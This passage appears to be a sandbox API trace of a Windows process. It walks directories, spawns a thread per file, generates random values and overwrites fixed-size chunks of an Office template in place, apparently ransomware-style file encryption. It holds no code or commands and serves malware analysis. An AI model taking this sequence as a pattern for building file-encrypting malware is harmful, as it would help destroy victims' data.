cAlternateFileName="")) returned 1 [0150.883] wcscmp (_String1="Indian", _String2=".") returned 1 [0150.883] wcscmp (_String1="Indian", _String2="..") returned 1 [0150.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86f0c0 [0150.883] wcscpy (in: _Dest=0x1b86f0c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.883] wcscat (in: _Dest=0x1b86f0c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.883] wcscat (in: _Dest=0x1b86f0c0, _Source="Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0150.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86f0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d4 [0150.884] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MET", cAlternateFileName="")) returned 1 [0150.884] wcscmp (_String1="MET", _String2=".") returned 1 [0150.884] wcscmp (_String1="MET", _String2="..") returned 1 [0150.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd868b0 [0150.884] wcscpy (in: _Dest=0x1cd868b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.884] wcscat (in: _Dest=0x1cd868b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.884] wcscat (in: _Dest=0x1cd868b0, _Source="MET" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET" [0150.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd868b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d8 [0150.885] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST", cAlternateFileName="")) returned 1 [0150.885] wcscmp (_String1="MST", _String2=".") returned 1 [0150.885] wcscmp (_String1="MST", _String2="..") returned 1 [0150.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86f70 [0150.885] wcscpy (in: _Dest=0x1cd86f70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.885] wcscat (in: _Dest=0x1cd86f70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.885] wcscat (in: _Dest=0x1cd86f70, _Source="MST" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST" [0150.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd86f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22dc [0150.886] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7MDT", cAlternateFileName="")) returned 1 [0150.886] wcscmp (_String1="MST7MDT", _String2=".") returned 1 [0150.886] wcscmp (_String1="MST7MDT", _String2="..") returned 1 [0150.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ee90 [0150.886] wcscpy (in: _Dest=0x1b86ee90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.887] wcscat (in: _Dest=0x1b86ee90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.887] wcscat (in: _Dest=0x1b86ee90, _Source="MST7MDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT" [0150.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ee90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e0 [0150.888] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pacific", cAlternateFileName="")) returned 1 [0150.888] wcscmp (_String1="Pacific", _String2=".") returned 1 [0150.888] wcscmp (_String1="Pacific", _String2="..") returned 1 [0150.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0150.888] wcscpy (in: _Dest=0x1b86e6b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.888] wcscat (in: _Dest=0x1b86e6b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.888] wcscat (in: _Dest=0x1b86e6b0, _Source="Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0150.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e4 [0150.889] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1 [0150.889] wcscmp (_String1="PST8PDT", _String2=".") returned 1 [0150.889] wcscmp (_String1="PST8PDT", _String2="..") returned 1 [0150.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e870 [0150.889] wcscpy (in: _Dest=0x1b86e870, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.889] wcscat (in: _Dest=0x1b86e870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.889] wcscat (in: _Dest=0x1b86e870, _Source="PST8PDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT" [0150.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e8 [0150.890] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemV", cAlternateFileName="")) returned 1 [0150.890] wcscmp (_String1="SystemV", _String2=".") returned 1 [0150.890] wcscmp (_String1="SystemV", _String2="..") returned 1 [0150.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86edb0 [0150.890] wcscpy (in: _Dest=0x1b86edb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.890] wcscat (in: _Dest=0x1b86edb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.890] wcscat (in: _Dest=0x1b86edb0, _Source="SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0150.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86edb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ec [0150.891] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WET", cAlternateFileName="")) returned 1 [0150.891] wcscmp (_String1="WET", _String2=".") returned 1 [0150.891] wcscmp (_String1="WET", _String2="..") returned 1 [0150.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86610 [0150.891] wcscpy (in: _Dest=0x1cd86610, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.891] wcscat (in: _Dest=0x1cd86610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.891] wcscat (in: _Dest=0x1cd86610, _Source="WET" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET" [0150.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd86610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f0 [0150.893] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoneInfoMappings", cAlternateFileName="ZONEIN~1")) returned 1 [0150.893] wcscmp (_String1="ZoneInfoMappings", _String2=".") returned 1 [0150.893] wcscmp (_String1="ZoneInfoMappings", _String2="..") returned 1 [0150.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b867dc0 [0150.893] wcscpy (in: _Dest=0x1b867dc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.893] wcscat (in: _Dest=0x1b867dc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.893] wcscat (in: _Dest=0x1b867dc0, _Source="ZoneInfoMappings" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings" [0150.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f4 [0150.894] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoneInfoMappings", cAlternateFileName="ZONEIN~1")) returned 0 [0150.894] FindClose (in: hFindFile=0x1cd9d310 | out: hFindFile=0x1cd9d310) returned 1 [0150.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027cf50) returned 1 [0150.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9da90) returned 1 [0150.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ccd0) returned 1 Thread: id = 2102 os_tid = 0x67c [0138.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx")) returned 0x20 [0138.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx", dwFileAttributes=0x20) returned 1 [0138.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd8 [0138.667] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x379ff980 | out: lpFileSize=0x379ff980*=155347) returned 1 [0138.667] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x25ecf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.667] ReadFile (in: hFile=0x1bd8, lpBuffer=0x379ff900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x379ff948, lpOverlapped=0x0 | out: lpBuffer=0x379ff900*, lpNumberOfBytesRead=0x379ff948*=0x4, lpOverlapped=0x0) returned 1 [0138.669] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f80 [0138.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d40 [0138.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9550 [0138.670] NtQuerySystemTime (in: CurrentTime=0x379ff840 | out: CurrentTime=0x379ff840*=132462177439174000) returned 0x0 [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x146a0079 [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x783a697b [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x131ff945 [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x6db1fb5c [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x673c662f [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x29018ad5 [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x30d2d934 [0138.670] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x671c6251 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x55422581 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x28dc7bde [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x3b13dd2a [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x9ef818c [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x29ed84d8 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x65f3b9f7 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x62bb4593 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x737b2eaa [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x265b39ce [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x3a83d174 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x45b6a9a1 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x2fcf48fd [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x77b9a8b1 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x7d4c2dd0 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x1038c83 [0138.671] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x7c70af2f [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x3d580a27 [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x2d8005d1 [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x292cc119 [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x15fe06a [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x31c092ae [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x44502a71 [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x52c9fe2a [0138.672] RtlRandomEx (in: Seed=0x379ff830 | out: Seed=0x379ff830) returned 0x6bd22e62 [0138.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9010 [0138.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9550) returned 1 [0138.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f80) returned 1 [0138.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42085d50 [0138.688] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.688] ReadFile (in: hFile=0x1bd8, lpBuffer=0x42085d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x379ff8a0, lpOverlapped=0x0 | out: lpBuffer=0x42085d50*, lpNumberOfBytesRead=0x379ff8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.701] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f80 [0138.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f80) returned 1 [0138.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42089960 [0138.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f80 [0138.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9550 [0138.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9550) returned 1 [0138.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.703] WriteFile (hFile=0x1bd8, lpBuffer=0x42089960, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x379ff8a0, lpOverlapped=0x0) [0170.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42089960) returned 1 [0170.963] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.963] ReadFile (in: hFile=0x1bd8, lpBuffer=0x42085d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x379ff8a0, lpOverlapped=0x0 | out: lpBuffer=0x42085d50*, lpNumberOfBytesRead=0x379ff8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.141] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ef0 [0171.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ef0) returned 1 [0171.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d085a0 [0171.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ef0 [0171.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ce60 [0171.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ce60) returned 1 [0171.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.144] WriteFile (in: hFile=0x1bd8, lpBuffer=0x41d085a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x379ff8a0, lpOverlapped=0x0 | out: lpBuffer=0x41d085a0*, lpNumberOfBytesWritten=0x379ff8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0192.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d085a0) returned 1 [0192.641] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x222d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.641] ReadFile (in: hFile=0x1bd8, lpBuffer=0x42085d50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x379ff8a0, lpOverlapped=0x0 | out: lpBuffer=0x42085d50*, lpNumberOfBytesRead=0x379ff8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0192.642] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x222d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0192.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0192.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e090 [0192.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e090) returned 1 [0192.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d085a0 [0192.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e090 [0192.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e060 [0192.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e060) returned 1 [0192.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0192.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0192.646] WriteFile (in: hFile=0x1bd8, lpBuffer=0x41d085a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x379ff8a0, lpOverlapped=0x0 | out: lpBuffer=0x41d085a0*, lpNumberOfBytesWritten=0x379ff8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d085a0) returned 1 [0205.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f9f0 [0205.359] 